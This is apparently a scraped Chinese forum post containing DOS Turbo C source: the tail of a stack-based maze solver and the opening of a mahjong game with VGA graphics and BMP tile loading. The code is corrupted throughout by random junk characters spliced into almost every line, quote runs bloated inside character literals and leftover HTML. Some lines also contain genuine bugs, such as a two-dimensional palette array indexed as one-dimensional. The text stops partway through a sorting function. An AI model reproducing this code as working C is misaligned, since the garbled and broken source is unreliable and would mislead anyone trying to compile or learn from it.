' b1 D0 h& M5 Ymaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
8 D. O% L5 Y" r; f6 ~, G: breturn TRUE;" D8 g% o  h; }7 K- a) o4 W1 ]9 K3 y
else return FALSE;
5 B: j/ n7 r8 f9 h5 d} /* Pass */
* x+ a9 L* y% U6 J2 O9 r' j9 {void MarkPrint(PosType seat)& L8 a. l+ v+ d* @
/* Mark the position seat. */$ i) p7 Q( q  a' w
{* T, f1 r( a- I1 H9 L" Q1 _
maze[seat.x][seat.y].mark=-1;; Z7 U4 q; r* l: E9 _2 s
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
6 h0 v) }4 e: a# e6 @2 `4 R} /* MarkPrint */
. ~/ T3 R3 K, J% Evoid FootPrint(PosType curpos)
7 D2 g  t& b6 r1 F: Z/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */2 c8 b) ]! T* m" k8 [
{
/ s. P& g3 y, x* M) emaze[curpos.x][curpos.y].foot=1;4 @# A3 x3 a9 X# h) U) j
} /* FootPrint */
: P- A8 P1 h, v! JPosType NextPos(PosType seat,int di)
+ r+ _! b6 U( e8 Y{: A8 p7 |0 }+ K: l: _$ P9 ]. Z: _0 r
switch(di)' [, ?* c; I/ c4 w' k
{
1 w8 E5 R; s! C# R6 Wcase 1: seat.y++; return seat; /* Eastward */9 t4 `. n7 @) W8 o" {; n, ~
case 2: seat.x++; return seat; /* Southward */' s$ z; B) p) `# |
case 3: seat.y--; return seat; /* Westward */
0 {5 }4 C  J, j" Q$ W( ocase 4: seat.x--; return seat; /* Northward */
$ r0 ]0 O- Y4 f; \% n8 fdefault: seat.x=0; seat.y=0; return seat;& y# X- j6 K! x
}9 a# t" M! k$ ^
} /* NextPos */2 r- H% g9 ?! r) r3 i

( a. A: V. @9 G: y" G" ^/* The key to the program. */+ Z8 E% x- W+ Q0 d
/* Pre: The maze array &amp; the startplace &amp; the endplace.
0 o  E9 _- g0 O7 HPost: Find the one traverse of the maze and perform the mazepath.! H9 @/ ?! C/ O3 r4 R
Uses: The ADT stack class.
- j5 F$ L6 d& e  ^$ S*/
9 J/ \: A0 l' g( gStatus MazePath(PosType start,PosType end)
+ x# I1 i# A0 C: ]% y+ P+ r{5 v4 \+ S* Q' o& Y* b
PosType curpos;6 h- c) n: X' V
int curstep;
$ z# q9 N- @. A/ MSElemType e;: m* D5 Y: B$ R9 ]
Stack *s,stack;
. _9 l1 i: }* ystack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));2 K! x, @- I  d  c) h# G9 e
if(!stack.base) Error("Overflow");' u/ p9 L+ q+ ~# _- O4 J: Y+ r
stack.top=stack.base;
& p  D" t5 c: I, J) B2 kstack.stacksize=STACK_INIT_SIZE;" s# Y. e& U5 l3 l0 ~& I. }
s=&amp;stack;
; |) V: @  M. s% o1 K( \* j7 Scurpos=start;
' F: j' o$ v: v0 \+ n# a5 u( dcurstep=1;
- p6 }% a0 ]! A' R6 A+ }: Hdo
- [; P' j* r7 m; G& M; v* w{" x4 [) z# T+ D$ n- ?. N) }& Q
if(Pass(curpos))8 r0 l, r' ~- u2 X
{
# S% W, E* A  G2 l: KFootPrint(curpos);
: {0 n/ f* y! ?2 ?, ]6 G: m" xe.ord=curstep; e.seat=curpos; e.di=1;* `. @! {5 W( g& v9 ?
gotoxy((curpos.y+1)*2,curpos.x+2);7 M8 ^" X7 R6 g% G5 V5 E
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
9 v! P2 o* \# I5 D9 Q7 Odelay(8000); /* pospone time. */
( a! J6 O5 v5 l4 _0 VPush(s,e);. D5 E+ e' X6 v' D; M, B
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */" U! t( x7 k* l( T7 i
{
' w" }4 f6 @- R* B7 w& U6 l" uDestroyStack(s);' _0 a$ r5 W1 b: r: r5 E
return TRUE;+ x4 g6 |9 I. }4 ?
}) d5 U  U$ O) ]- ^
curpos=NextPos(curpos,1); /* Try next position. */
, A7 c# L+ A: H/ |: j2 Dcurstep++;, W8 O- G  h' f" V) y8 j" F; y
}; S$ E$ W$ c2 r
else0 u2 L! {/ G! @9 ^& C$ Q
{5 b% E: ~0 ]3 \; _( y
if(!StackEmpty(s))
% |8 d) I/ B5 h; c' C: e{
& {3 @! o6 x5 _8 X5 q( ge=Pop(s,e); /* Removed e from s. */
1 M1 e( Y% }8 X) mwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked7 K2 A5 @* a. o) A% A: N
and s is not empty. */
) H. T% }6 Q4 R' ?+ q{
0 D% Z8 }" Q4 q3 KMarkPrint(e.seat);
3 B7 H, }# o* Q; I6 ~gotoxy((e.seat.y+1)*2,e.seat.x+2);
7 S9 Y& C4 h; O- ]9 K. N6 \putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');4 }* N* q) k6 c" E2 d+ T
delay(8000); /* Pospone time. */) L& U; i/ B/ ]2 S8 s' e) ^4 z1 x5 n
gotoxy((e.seat.y+1)*2,e.seat.x+2);; G# n, x/ v. }+ ]. T% V/ h
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');5 f' H* `0 P2 e
e=Pop(s,e); /* Remove e from s. */
1 J5 a  N8 M6 Mcurstep--;
; `/ \! h1 i) g: z, A- z% s}
3 N3 K; {7 S6 F- v3 R/ t! \if(e.di&lt;4) /* The current position hasnot been checked. */
5 T  ~9 O7 d. k) L9 J4 e{  t2 k: O4 O" l/ f% t
e.di++;
  R$ p6 s1 r8 |4 oPush(s,e); /* Insert e into s. */# o: }+ O! L4 G# [6 u8 a' d4 ~
curpos=NextPos(e.seat,e.di); /* Try next position. */7 D$ P& ?1 m$ x4 ^6 d$ F: k
}
! R2 D# i5 a# k4 e; ~0 T8 W( s  R}
" f: H  |3 Q$ A}
& W5 U  K5 q" T* I}
$ f5 w0 j3 o/ Z2 Qwhile(!StackEmpty(s));
0 k5 {3 m+ Q. a$ J2 ~# d0 |DestroyStack(s);, J- _7 ^" R2 G$ r. s
return FALSE;+ X4 T, T3 S  F. W5 P
} /* MazePath */
. k5 n8 P$ b" d, L+ ]& Rvoid main()
8 }; ?1 }. H/ _0 f$ B; `4 e/ n' \{
7 B3 n; z' ?$ tPosType start,end;
3 `% B: O: P$ e7 S2 V& b1 dCreatMaze();
' P; z! L, I3 k: Z% pstart.x=StartPlace.y;' G6 x4 T8 c; o# \0 E6 J. A$ x, o
start.y=StartPlace.x;
( a! z( u* N7 R& b9 |4 m! hend.x=EndPlace.y;
' E+ f0 V7 A6 `" u2 k$ E3 F9 |! Q" hend.y=EndPlace.x;
) a* H  j* g5 t8 j; X% r6 fif(MazePath(start,end))
! b, P! P( K" X3 a( B8 H* Z) z{
9 F3 p/ ?: `" fgotoxy(2,22);
+ K" t; K: u1 {  N8 k# R* Qprintf("ath found\n");
! c% g9 Y7 J/ i}
; K, {0 _: b: m3 Uelse% z9 V( v: ?8 m: w% }1 ?* W
{3 J) S9 ~: o0 K! z1 Z% D: J& ]( u
gotoxy(2,22);' C) n  w# x' N7 b- x
printf("ath not found\n");1 r" }2 C' q. H2 x6 h: D# T
}$ [9 R6 c( k2 }' x
getch();& Y+ s: k3 t! }* V1 o
clrscr();/ F' E: e5 c1 W: g  U; F0 c% x6 E
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
" j8 o/ V; }7 A% c* R/*天宇软件7 b; U2 P8 z; K2 `% |4 W
作者:上海黑暗之龙
: u/ x3 v* b6 M2002/10/30
, r, \* B5 [. {# _* U1 t$ F麻将原代码*/# W6 `: E1 H0 ?  P/ C
#include "dos.h"
  m4 `2 `- `; ~3 P+ B* b- g4 j#include "stdio.h"+ j* l2 A$ o, U) T- J) e' p
#include "graphics.h"
2 p) r7 q0 S# V7 Z#include "bios.h"
+ k# b7 K. v9 m" Q#include "conio.h"# ]3 f" U! C$ I
#include "stdlib.h"% M1 a+ D1 M0 B8 |0 m/ P
unsigned char far *video_buffer=(char far *)0xA0000000L;
' p- O+ N' f! h- A# |, j9 q5 s2 x9 R#define VGA256 0x13 /*图形模式13h*/$ G& I+ E. H2 X$ Y; o% K% N+ A' D; a7 V
#define TEXT_MODE 0x03 /*普通文本模式*// g6 A* S7 v" Z1 l/ s; w/ N2 ]: P
#define SETVGA Set_Video_Mode(VGA256)
  i" a, e# K& M( B8 b#define OUTVGA Set_Video_Mode(TEXT_MODE)
! P- s4 [5 M5 i5 y( ~  T4 C  S#define BYTE unsigned char. M% `. g7 P" F7 q, c' M5 j$ q  `
#define WORD unsigned int
2 @7 `% G' W" l) a8 y! S#define DWORD unsigned int
' A) s" ?7 U' k$ z! X( F2 c2 B: G#define ESC 2836 V) x" u& T8 `" v: r" {
#define LEFT 19200
# e8 |, |. O7 y#define RIGHT 19712
. i, N$ M) m4 O* z#define H 9064
/ z: b0 h; h2 R1 R* Q# V: R9 ^( u#define ENTER 7181
5 J( e9 K5 v+ Q( C; Uunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
" z1 E4 v# \0 R' ^6 k5 [int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;) j9 Z6 R' n  w8 _% d
struct chi* ~' Q+ c$ z) }
{
4 w% ], K5 `! ]/ aint lg;5 g* D8 e2 j1 ]5 U: H. N0 ^
int lgg;
: s3 A2 K  b. l2 b6 _}ch[13];
8 u$ I& l5 B* g1 ~/ c- d, _struct mj+ U7 [8 \$ F4 Q( N
{ char *name; /*名字*/
' K; H1 c) X) I) f+ x" {, oint data1; /*是否已出,无用了*/
) T8 |, ?3 p9 ~/ O0 D  J* G) B7 [int data2; /*是否在手中,1为自己,2为对方*/
/ R2 d8 C: R1 z( g* Eint number; /*同一个花色的第几张,共4张*/
. l8 s, R( Q6 ]& V( H}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,$ o* A4 x# F) r# l' c/ m
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
  c( _  Y$ P" h, p$ p1 Z"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
0 X: G4 H9 _5 i( P: T"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
# r  [# v, T4 p# d"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,/ ~! C. z& b% b1 g# b
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,9 [. p0 e- G$ W: ?& o* U- D2 ]
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
+ q1 X8 H' K& ~& W- X  K6 J- I' p"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,$ t7 o; U/ O3 ^3 K4 |
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,1 v" Y' H5 p  P1 N
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
3 U# {2 k3 u# R- O  g"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,$ c7 L  |* l% A' y
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
* X6 u" _0 E; f3 o% z"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
! D: N1 ^" D, t) @"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,3 @. L' N4 Z% ^4 {  A% W" V
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
% g) J  a% r5 D"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
5 n/ t) Y- @9 k  n"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
( H$ k, J- N  D2 o"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,! ~/ v- K- c3 a3 B
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
% P& y* h: F! l* F  y"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
0 {5 j) g$ \/ k" H" P" ?/ K"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,/ O) c: T. t6 }
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
6 X" Q1 a# p' q" o( K  B: s9 K"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,9 F5 e( c2 C8 ]. E2 p
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
1 S+ B1 D. _* d4 R; ]; y( z8 a"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,) J) c& q0 e# }  O, T
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
( X7 W  w4 Q2 w0 q3 W"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
; L6 A: r, B2 b- H"34.bmp"};
0 J+ S# B% e# }2 mstruct every
  U( i; u# r: t) @/ W+ Z& g/ D' V{ int *k; /*名字*/7 f: J6 G0 N( S/ E# n
int oneorfour; /*同一张牌的第几张*/
3 }! o. B  D2 z$ o1 j0 Z) rint number; /*第几张牌136*/
% d) N7 L# r/ o3 s0 w* w* [int p;
3 [  w. N+ b% L( l. C0 |& xint g;. X- Z! f; ?  d: H1 M
int c;9 x1 m6 Z: G1 C( I7 Z) E! c# U
int d[2];
4 T, r# q5 O7 V* M! E* H" Q};* g" G5 A3 w8 e5 A6 @8 l$ f4 ?( H
struct me
6 e: y2 [1 v' v/ A{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/) T! Y  e6 V3 f7 w2 D
int p; /*乓对方*/, u& y* D7 w4 G
int c; /*吃对方*/8 O, T# ?# j9 g$ e  q
int g; /*杠*/" T. j. }' i) v* x. l

/ w9 i( f/ a% }' h1 g( g/ `struct every pp[14]; /*存放手上的牌*/2 ]( K' G& `+ u5 {  X) G: s
}me;
2 @3 \: m; |+ B9 e4 |struct computer
! K9 D+ b) [3 m; x{ int m;
. p; V4 x" Z- Q* _- Kint p;  k' h! y$ @) ]
int c;' B! Q: w$ E3 [
int g;% N8 Q* g$ a$ t. @" U- a
struct every pp[14];
4 Y# |' m  l6 y6 }: ~8 ?% w: `$ T}computer,comp;
* Z. b( v. J3 c: k. L* t7 P/ d
1 g% ?9 y, d: O6 w: A$ Q  E0 m9 G/* 设置调色板 */" ^+ c  e8 j% d7 H
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)( J% W, ]+ {; E' M0 `6 R% b2 E
{
/ K% \2 V" b/ g0 i# @! ~$ Doutportb(0x3c8,Color); /*0x3c8写端口 写色号*/% E( [5 Z& _. D  X; z
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/: h4 Y& O% T: ?# V( r! @, X; K
outportb(0x3c9,g);7 F* K3 W5 U. l* k' q
outportb(0x3c9,b);* `" f4 f& b; z  O
}, J  i8 z- T. `, Y0 H
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
5 b/ T# [, X, t6 ]/* 设置显示模式的函数 */+ I2 R8 H6 \3 `) H
void Set_Video_Mode(int mode)  j4 D% a5 T) g5 a0 D0 A
{! G, ^' W0 A: U) `
union REGS inregs,outregs; /*定义输入和返回寄存器*/
: {+ ?# g2 b6 x1 S# [# einregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
% D. a& _1 z& J* |inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
8 [# f5 S' \8 R0 j4 p1 U3 R% t: y6 U& Aint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
$ H' J3 Q5 g; V9 ?0 r7 j8 G% ^}
! Z& a0 [7 G2 S* w- j" w" xvoid v_line(int y0,int y1,int x,unsigned int color)' m6 W( {0 x! f/ q4 \! W7 A' y% C' x
{ unsigned int address,n,temp;1 z" L7 _& C" L- _
if(y0&gt;y1)
# O$ A( l; c; Q/ n. _" j8 W{; s& |/ f# A8 l; `- c' g
temp=y1;
) D( u- a' r0 y. j( |2 i& G3 Iy1=y0;
+ [  Y% \# w4 g# ?; G& C6 Wy0=temp;
% S) }4 [7 p$ T; W8 [4 V' o- \}6 T1 V) d) ]- {  _$ L/ t3 M! R6 }" F
address=320*y0+x;2 G! A3 I: T) s6 y4 I
for(n=0;n&lt;=y1-y0;n++)9 P: \# K3 `/ E
{9 N" _% j0 D! C9 I) a
video_buffer[address]=color;5 E# x$ x; z6 S- B3 V% Q3 `+ ]" \
address+=320;
% R6 G6 a& Y0 K0 Z8 C' y}$ m: _# Y* h- X" F
}
, q6 U- P9 M% F' D! u7 dvoid h_line(int x0,int x1,int y,unsigned int color)3 v2 _7 i0 n- T6 G/ H; r
{ unsigned int address,n,temp;
% n, h4 R1 _( X, c" cif(x0&gt;x1)
- s/ e1 a/ \" z6 e3 F{
; V/ s" \5 M4 Ztemp=x1;
0 i0 }" s2 N  M) P) ]x1=x0;2 j2 O* S: ~' |) m
x0=temp;% N, H- N' t$ L3 f& O0 E, i. V: j( k
}% M* c- R$ o8 Q( i
address=320*y+x0;
" ?, j. w9 g. j6 ^. [* o  z: Mfor(n=0;n&lt;=x1-x0;n++)  C: i; q' s) q7 S
{  i" F8 Y. j$ R, U$ e' Q: C4 K
video_buffer[address]=color;6 M& ?2 n2 d/ A% i7 w& l
address+=1;
: l9 X1 {- C$ E! g% n}
; o& V" [: i; O}
2 n* f( y6 k& q) N$ }void p_pixel(int x,int y,unsigned int color)
8 H! V) K& [: P; m/ a# K{ video_buffer[y*320+x]=color;
! v. m  W8 h& B) `5 h8 p( o}
  B0 J$ _; u" g. [, vvoid s_square(int x,int y,int side,int color)8 i6 q- v( k1 {  a
{
: P+ a( H/ }. R6 U2 zh_line(x,x+side,y,color);- k7 x+ h& \* }! d7 v1 C
h_line(x,x+side,y+side,color);
4 Q) x. ^5 ^! ?9 t' B3 R/ uv_line(y,y+side,x,color);
8 R+ p0 x+ Y! y9 z( uv_line(y,y+side,x+side,color);( V, H& Z! C- C1 o8 P0 h
}
; m+ w8 c( {# Y" k! h2 b5 nvoid r_rectangle(int x1,int y1,int x2,int y2,int color)' c; S2 a/ ~% T4 s8 K/ Y5 _5 D9 x2 F
{
3 i  k. C! ]" Z* l& g* uh_line(x1,x2,y1,color);* J. A  `* m: y: Y
h_line(x1,x2,y2,color);
0 a  e# j' j8 q0 Ov_line(y1,y2,x1,color);
; ?! n4 y! b# U7 Kv_line(y1,y2,x2,color);4 ]0 O8 c9 {7 e7 B. H$ e) O  e
}  y) }* `4 s, y4 V/ @
void fillRectangle(int x1,int y1,int x2,int y2,int color)
% s! ]! a; F  n+ Q1 t{1 W% O  ^/ w. p7 Y1 b6 Q
int i;
) N6 r8 B0 K2 Ofor(i=y1;i&lt;=y2;i++)& ~' W% @& u$ x2 R7 p- T& e3 V
{4 Z$ ?8 @3 G% z/ a
h_line(x1,x2,i,color);1 }* P9 t: M6 `+ X$ X' u7 A$ Z
}
5 Z; h( I4 C# r; v. M# D( k. J}- c+ F5 Y6 _% n3 N1 ~
void showbmp(int l)# L& X) K' I' A9 S5 t
{ FILE *bmp;
: p% l5 X6 y0 \8 H) ^int i,x,y;
( \' a/ ?5 n; w. E4 p! f! ?BYTE palette[256][3];, o3 r& u$ M- M+ Q' |: R& ]
bmp=fopen(me.pp[l].k,"rb");* i# _9 B, \8 y0 p' T
fseek(bmp,54,SEEK_SET);
7 y! I9 U" J9 Q1 y5 |; Mfor(i=0;i&lt;256;i++), B/ w1 R- ]% G3 g" d/ ?
{
8 s4 s6 R: y; X- epalette[2]=fgetc(bmp)&gt;&gt;2;; m- N! W6 p# i- a# W% n
palette[1]=fgetc(bmp)&gt;&gt;2;
' ?! O1 g+ G, c; mpalette[0]=fgetc(bmp)&gt;&gt;2;/ z' i- U2 J8 s/ {: R
fgetc(bmp);9 P) c: c" [( u, D- v
Set_Palette(i,palette[0],palette[1],palette[2]);
2 x+ o3 ]2 V# B: D, @}% D8 V- G- v/ Z* R1 D/ d5 I$ F
for (y=0;y&lt;30;y++)% ?0 g$ O, }1 L, b# d
for(x=0;x&lt;20;x++)
2 [0 Y; ]; a1 t% X6 g3 d7 Zpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));  r: R' a% |0 {! i
fclose(bmp);
1 i* B9 k' B. C3 ]9 ]}
* n1 _& b* ~" Z  p# o% Dvoid showbmpd(int l)
, p" }# y1 d. ], c{ FILE *bmp;
  K$ I3 @* w+ M& O2 I* v; iint i,x,y;
3 R( M- o0 K% b; Q; s2 xBYTE palette[256][3];" N/ v7 z! v( T" T! H
bmp=fopen(me.pp[l].k,"rb");
' _: `* O7 y7 Q# _6 x# Gfseek(bmp,54,SEEK_SET);/ Q! C2 E" x8 B8 C) j4 o
for(i=0;i&lt;256;i++)
+ J  `9 G! }- ]9 h( `' y  k: D2 [{
$ G* |1 n6 V* V2 ?) g! x) Hpalette[2]=fgetc(bmp)&gt;&gt;2;+ ~7 g; f5 ^% M5 O. ?. i9 W
palette[1]=fgetc(bmp)&gt;&gt;2;
8 Z5 x/ p- V: P% M: y. Z. ^palette[0]=fgetc(bmp)&gt;&gt;2;
8 n2 u" @" y. P' }% h% ~( i% Mfgetc(bmp);
" }1 h. f* }5 ?' P( Z" eSet_Palette(i,palette[0],palette[1],palette[2]);) v- S3 d$ L  G4 C& r) t
}$ l, Q) b. G) v
for (y=0;y&lt;30;y++); ^6 O# |+ i, ^! P* y  f* K
for(x=0;x&lt;20;x++)
" a' ]' E; I7 G% G8 y3 }pokeb(0xa000,y*320+x+zyy,fgetc(bmp));: }0 |$ i, R/ e( T; l2 t0 ~1 Q" M
fclose(bmp);5 U9 a& z' t  c  {
}
5 S/ g" q; n, |void showybmp(int ll)8 y" W" S& f! b$ W% K
{ FILE *bmp;
+ w) b) M' ]* d: Hint i,x,y;4 Z8 e# i* l# `/ {
BYTE palette[256][3];! F+ v( o9 K6 w0 [* k  y2 W
bmp=fopen(computer.pp[ll].k,"rb");
; N6 @6 X$ d: \fseek(bmp,54,SEEK_SET);+ i0 G/ V: \' q
for(i=0;i&lt;256;i++)
% Z3 h* s1 z; F& _) o{. a( c4 E% T( P+ U
palette[2]=fgetc(bmp)&gt;&gt;2;$ [7 G) ~; {6 _; j- y* s
palette[1]=fgetc(bmp)&gt;&gt;2;
! Z% J) t  F4 Z# N" N5 Bpalette[0]=fgetc(bmp)&gt;&gt;2;
% S+ [9 s2 l7 Q; A8 _2 Lfgetc(bmp);
: H, c- n! J6 g# E6 Q$ YSet_Palette(i,palette[0],palette[1],palette[2]);
" ?* w  V; @0 F+ g}6 u2 E2 i' Z/ U# [, Q2 P
for (y=0;y&lt;30;y++)
% k5 s4 P! n4 ^! f8 ~. o# gfor(x=0;x&lt;20;x++)6 w# U6 S+ ~: f( b: K
pokeb(0xa000,y*320+x+zy,fgetc(bmp));* K) Y2 y4 G# o$ d3 b& A
fclose(bmp);
4 |, b8 P3 P' f* _* U9 O8 }: v}
- J7 e( h' H' E* {8 T+ h' a1 L9 Yvoid showcbmp(int ll), ~$ Q7 E! L3 j/ T
{ FILE *bmp;8 W8 Q+ E; X9 a; x
int i,x,y;
5 U6 h* ]4 [' {, [- gBYTE palette[256][3];' ]$ r" T+ M; i2 G! h
bmp=fopen(computer.pp[ll].k,"rb");
) {" L/ c( {( b/ H" m4 ofseek(bmp,54,SEEK_SET);; `8 n' z7 _! X2 i% C/ I) S1 y
for(i=0;i&lt;256;i++). Y  i+ V5 G4 W. G+ y4 E
{
  l: X. q5 E( o8 j; v& |palette[2]=fgetc(bmp)&gt;&gt;2;
5 M# l5 U1 p  V3 h  X' h/ g0 v. Gpalette[1]=fgetc(bmp)&gt;&gt;2;
- C& x- a; B. V) |: spalette[0]=fgetc(bmp)&gt;&gt;2;6 F0 D/ @9 @( A% B& J
fgetc(bmp);
- Z9 O( O# {- c; ]5 k, u" _Set_Palette(i,palette[0],palette[1],palette[2]);
% n8 T1 h1 i3 r2 X$ T' i% Y/ D}
" R; A. l; N! y- w8 K& O3 |for (y=0;y&lt;30;y++)
( k; I0 N3 H% [  ]9 `for(x=0;x&lt;20;x++)
2 L5 ]4 Q+ g2 |pokeb(0xa000,y*320+x+zyy,fgetc(bmp));9 ^% e! ]+ X1 u2 k
fclose(bmp);
  \' d$ i% ~$ Q}
8 I" F0 ^; d* V9 `- E( Hvoid bmpp(int number)
3 y0 O. v# Y- V2 S0 r7 w* @  }{ FILE *bmp;
; }8 P: {% k, T( Z! ~8 U8 qint i,x,y;
8 M6 h/ |( Q& ?+ y7 S7 }6 RBYTE palette[256][3];
( l* A( j/ V" j" ~bmp=fopen(m[number].name,"rb");8 G  s/ m' z1 P% F# b7 }) T
fseek(bmp,54,SEEK_SET);
) K9 L; w6 n0 o4 t" k9 H# S' m9 sfor(i=0;i&lt;256;i++). o% h: A$ {: R/ a7 I$ X
{- x! ^$ F8 q. A5 N
palette[2]=fgetc(bmp)&gt;&gt;2;% F$ |! g/ H' }' ?* l8 S
palette[1]=fgetc(bmp)&gt;&gt;2;, L4 P: d, u" {3 |
palette[0]=fgetc(bmp)&gt;&gt;2;+ L0 e* R9 G) @
fgetc(bmp);4 P- d! L" \, {$ D8 X- n
Set_Palette(i,palette[0],palette[1],palette[2]);
/ K. @( K4 G4 W' f}
, w0 h' F9 D6 c' w/ H8 Ofor (y=0;y&lt;30;y++)
+ Y3 f. ~. q" P6 _for(x=0;x&lt;20;x++)+ h& u/ L5 @9 X7 Z: a) `
pokeb(0xa000,y*320+x+zl,fgetc(bmp));) x- i: \4 E1 E, F& u& v
fclose(bmp);) C  j( S& {$ l2 `' j# S% T
}
" i4 F" S- B6 Yvoid comlipai() /*整理电脑的牌*/# E# L% Z% Y7 e9 x: `  X8 P. |
{ int n,j,u;
  T9 c  }3 ~. G0 {int *lingshi;
1 z' F: ^, M( K5 jfor(n=0;n&lt;computer.m;n++)8 F5 J1 M( Z. d. ]" N( T+ Z; V1 N, V
for(j=n;j&lt;computer.m;j++)
+ C# h: y+ F) p# z% R  n{' M4 K' O/ }9 ~  j
if(computer.pp[n].number&gt;computer.pp[j+1].number)
! ~) M1 Q: X/ L. L' {  _0 P{  v$ u2 ^; z* H9 I
lingshi=computer.pp[n].k;0 Z4 v& N' q. r( k3 Z! Q# W
computer.pp[n].k=computer.pp[j+1].k;
( k5 V3 Y4 L, A' O7 W2 H0 T% Qcomputer.pp[j+1].k=lingshi;! J" u9 ~3 y9 [- m
u=computer.pp[n].oneorfour;, X7 Z: Z) ^7 f
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;  a8 \/ a$ `( C4 s: i7 u3 z
computer.pp[j+1].oneorfour=u;) [+ \+ _) F. \) B) s* Q  O6 o
u=computer.pp[n].number;) Q5 _" N$ ^# n7 k2 D: G2 p# j/ M
computer.pp[n].number=computer.pp[j+1].number;3 |& K. }3 w# [- r0 q  `! ^
computer.pp[j+1].number=u;
7 n+ a8 ?( J6 p. K3 C& O}3 N" j) Z, P" c0 ~4 V
else2 L4 d* v9 y- Y! P
if(computer.pp[n].number==computer.pp[j+1].number)
1 v. P/ o7 G; ^# r/ Kif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)2 A0 V0 ~3 d" Q7 z/ ~8 i
{
. Z1 d. ]  W- I: ~7 Llingshi=computer.pp[n].k;& L; W1 K* }$ ^1 y; F( E
computer.pp[n].k=computer.pp[j+1].k;& l0 Z7 C  X; L
computer.pp[j+1].k=lingshi;% h7 ~# J. q$ W
u=computer.pp[n].oneorfour;
; q. a1 |0 {: f- k7 Rcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;6 w8 \4 I! k, g. s7 _
computer.pp[j+1].oneorfour=u;
8 o8 |1 X* Y5 L% |$ Zu=computer.pp[n].number;
